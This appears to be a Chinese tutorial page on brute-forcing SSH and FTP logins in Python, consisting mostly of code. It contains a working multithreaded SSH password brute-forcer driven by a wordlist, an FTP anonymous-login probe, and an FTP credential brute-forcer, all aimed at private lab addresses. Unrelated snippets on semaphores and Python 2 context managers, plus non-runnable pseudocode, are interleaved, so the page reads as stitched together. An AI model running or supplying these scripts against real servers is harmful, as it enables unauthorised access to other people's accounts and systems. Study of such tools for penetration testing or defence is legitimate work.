Python中FTP服务与SSH登录暴力破解的实现

from pexpect import pxssh
import argparse
import threading
import sys

maxConnetions = 5
connect_lock = threading.BoundedSemaphore(value=maxConnetions)


def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        # 登录ssh测试
        s.login(host, user, password)
        print("[+] Password Found: {}".format(password))
        sys.exit(0)
    except pxssh.ExceptionPxssh as e:
        pass


def main():
    # 定义脚本的运行参数、获取用户输入的对应参数值
    parser = argparse.ArgumentParser()
    parser.add_argument('-H', dest='Host', help="like: 192.168.3.1")
    parser.add_argument('-F', dest='passwdFile', help="like: /root/pass.txt")
    parser.add_argument('-u', dest='user')
    args = parser.parse_args()
    host = args.Host
    passwdFile = args.passwdFile
    user = args.user
    # 读取字典文件、使用多线程进行口令爆破
    with open(passwdFile, 'r') as f:
        for line in f.readlines():
            with connect_lock:
                password = line.strip('\n')
                print("[-] Testing: {}".format(password))
                # 起线程每个密码尝试登录一次
                t = threading.Thread(target=connect, args=(host, user, password))
                t.start()

main()

# coding: utf-8
import threading
import time


def fun(semaphore, num):
    # 获得信号量，信号量减一
    semaphore.acquire()
    print("Thread %d is running." % num)
    time.sleep(3)
    # 释放信号量，信号量加一
    semaphore.release()


if __name__=='__main__':
    # 初始化信号量，数量为2
    semaphore = threading.Semaphore(2)
    # 运行4个线程
    for num in range(4):
        t = threading.Thread(target=fun, args=(semaphore, num))
        t.start()

# encoding: UTF-8
import threading
import time

def showfun(n):
    print("%s start -- %d"%(time.ctime(),n))
    print("working")
    time.sleep(2)
    print("%s end -- %d" % (time.ctime(), n))
    semlock.release()

if __name__ == '__main__':
    maxconnections = 5
    semlock = threading.BoundedSemaphore(maxconnections)
    list=[]
    for i in range(8):
        semlock.acquire()
        t=threading.Thread(target=showfun, args=(i,))
        list.append(t)
        t.start()

file = open("１.txt")
data = file.read()
file.close()

try:
    f = open('xxx')
except:
    print('fail to open')
    exit(-1)
try:
    do something
except:
    do something
finally:
    f.close()

with open("１.txt") as file:
    data = file.read()

class Sample:
    def __enter__(self):
        print "in __enter__"
        return "Foo"
    def __exit__(self, exc_type, exc_val, exc_tb):
        print "in __exit__"
def get_sample():
    return Sample()
with get_sample() as sample:
    print "Sample: ", sample

# coding=utf-8
import ftplib


def ftpLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', 'Tr0e@123.com')
        print('[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.')
        ftp.quit()
        exit(0)
    except Exception as e:
        print('[-] FTP Anonymous Logon Failed.',e)


if __name__ == "__main__":
    ftpLogin("192.168.66.101")

# coding=utf-8
import ftplib


def BruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        username = line.split(':')[0]
        password = line.split(':')[1].strip('\r').strip('\n')
        print('[+] Trying: ' + username + '/' + password)
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(username, password)
            print('[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password)
            ftp.quit()
            exit(0)
        except Exception as e:
            pass
    print('[-] Could not brubrute force FTP credentials.')
    exit(0)


if __name__=="__main__":
    BruteLogin("192.168.66.101", "pwd.txt")